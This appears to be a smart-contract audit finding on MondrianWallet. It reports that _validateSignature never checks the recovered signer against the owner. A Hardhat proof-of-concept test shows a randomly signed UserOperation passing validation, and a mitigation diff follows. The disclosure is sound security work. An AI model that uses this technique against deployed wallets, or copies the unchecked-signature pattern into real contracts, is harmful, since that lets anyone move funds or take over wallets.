Description
The key functions responsible for ensuring UserOperations are signed by the owner do not correctly validate the signature of the UserOperation.
This breaks the second of the key invariants of the protocol:
For our wallet, a user can execute transactions by one of two methods:
A direct call from the Mondrian Wallet Owner, via the execute function.
A UserOp from a user who has a signed transaction from the Mondrian Wallet Owner via the handleOps function in the EntryPoint contract.
Impact
All operations that can be performed as a UserOperation can be performed unauthorised on the MondrianWallet. For example, funds can be stolen, the wallet can be transferred to a new owner and any other supported operation can be performed by anyone, without using a valid signature to prove ownership.
Proof of Concept
The following is a standalone UnitTest that demonstrates how randomly signed UserOperation can be used without failing signature validation checks.
Note: There are two pre-requisites described in the first comment block within the test. These must be followed to successfully run the test.
The test can be executed with the command: yarn test test/SignatureTest.test.js
File: test/SignatureTest.test.js
const { assert } = require("chai")
const { ethers, ignition } = require("hardhat")
const MockERC20 = require("../ignition/modules/MockERC20")
const { createAddress } = require("zksync-ethers/build/utils")
* This test demonstrates the signature verification is not
* correctly implemented.
* Pre-conditions:
*
* 1. hardhat.config.js needs to have the optimizer option configured
* to avoid contract size errors.
* Eg.
* solidity: {
version: "0.8.24",
settings: {
optimizer: {
enabled: true,
runs: 1000,
}
}
},
*
* 2. For this unit test The `MondrianWallet.sol` file needs to have
* the following modifier disabled as shown below (commenting out
* the revert) as it's not required to demonstrate the signature
* verification bug and I was not able to figure-out how to emulate
* the msg.sender to equal the i_entrypoint address using Hardhat.
*
* modifier requireFromEntryPoint() {
* if (msg.sender != address(i_entryPoint)) {
*
*
*
* }
* _;
* }
*/
describe("SignatureTest", function () {
let mondrianWallet
let entryPointContract
let entryPointAddress
let erc20
beforeEach(async () => {
const hre = require("hardhat");
entryPointContract = await hre.ethers.deployContract("MockEntryPoint");
entryPointAddress = await entryPointContract.getAddress();
mondrianWallet = await hre.ethers.deployContract("MondrianWallet",
[entryPointAddress] );
const erc20Deployment = await ignition.deploy(MockERC20)
erc20 = erc20Deployment.erc20
});
it("Does Not Verify The Signature Properly", async function () {
assert(mondrianWallet.getEntryPoint() != 0);
const walletAddress = await mondrianWallet.getAddress();
assert(walletAddress != null);
await entryPointContract.depositTo(walletAddress, {
value: hre.ethers.parseEther("100")
});
const bal = await mondrianWallet.getDeposit();
assert(bal == hre.ethers.parseEther("100") );
const callData = "0xd09de08a0000000000000000000000000000000000000000000000000000000000000000";
const b32 = ethers.encodeBytes32String("0x");
const randomAddress = createAddress("0x36615Cf349d7F6344891B1e7CA7C72883F5dc049", 1);
const userOpPacked = {
sender: randomAddress,
nonce: 1,
initCode: "0x",
callData: callData,
accountGasLimits: b32,
preVerificationGas: 0,
gasFees: b32,
paymasterAndData: "0x",
signature: "0x120f8ed8f2fa55498f2ef0a22f26e39b9b51ed29cc93fe0ef3ed1756f58fad0c6eb5a1d6f3671f8d5163639fdc40bb8720de6d8f2523077ad6d1138a60923b801c"
};
* MondrianWallet::validateUserOp calls
* MondrianWallet::_validateSignature,
* which fails to validate the signature correctly.
*
* See:
* validateUserOp(PackedUserOperation calldata userOp,
* bytes32 userOpHash, uint256 missingAccountFunds)
* _validateSignature(PackedUserOperation calldata userOp,
* bytes32 userOpHash)
*
*/
const txa = await mondrianWallet.validateUserOp(userOpPacked, b32, 0);
const receipta = await txa.wait();
console.log(receipta);
assert(receipta != null);
});
});
Test output
yarn test test/SignatureTest.test.js
yarn run v1.22.22
warning ../../../../package.json: No license field
$ hardhat test test/SignatureTest.test.js
SignatureTest
ContractTransactionReceipt {
provider: HardhatEthersProvider {
_hardhatProvider: LazyInitializationProviderAdapter {
_providerFactory: [AsyncFunction (anonymous)],
_emitter: [EventEmitter],
_initializingPromise: [Promise],
provider: [BackwardsCompatibilityProviderAdapter]
},
_networkName: 'hardhat',
_blockListeners: [],
_transactionHashListeners: Map(0) {},
_eventListeners: []
},
to: '0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512',
from: '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266',
contractAddress: null,
hash: '0xd6f7d606ebbd1c06d6f9d80947d111fb5277fd961b61c1aaec57a566550749d7',
index: 0,
blockHash: '0x038d98c49af7cb172cbe025bad166e5708a1fde020de0943e9a0310913894ebb',
blockNumber: 5,
logsBloom: '0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',
gasUsed: 29813n,
blobGasUsed: undefined,
cumulativeGasUsed: 29813n,
gasPrice: 1542441001n,
blobGasPrice: undefined,
type: 2,
status: 1,
root: undefined
}
✔ Does Not Verify The Signature Properly
1 passing (307ms)
Recommended mitigation
The MondrianWallet::_validateSignature function needs to perform the signature check and then return the relevant value according the the NatSpec doc. The following is indicative of the type of check required but must not be considered as correctly working, production ready code.
- ECDSA.recover(hash, userOp.signature);
+ if ( owner() != ECDSA.recover(hash, userOp.signature) )
+ return SIG_VALIDATION_FAILED
The MondrianWallet::validateUserOp function needs to return the correct return value based on the validity of the entire UserOperation struct as described by the NatSpec.
Perform the correct check of the signature
Ensure the correct values are returned from the functions as described by the functions NatSpec https://docs.soliditylang.org/en/latest/natspec-format.html.
Implement more robust unit tests for each of the validation functions.
References
https://github.com/eth-infinitism/account-abstraction/blob/62e1cf39220321a6e1c7bef51e974c3bf8a4e2e2/contracts/interfaces/IAccount.sol
Signature validation:
https://github.com/eth-infinitism/account-abstraction/blob/62e1cf39220321a6e1c7bef51e974c3bf8a4e2e2/contracts/samples/SimpleAccount.sol#L105
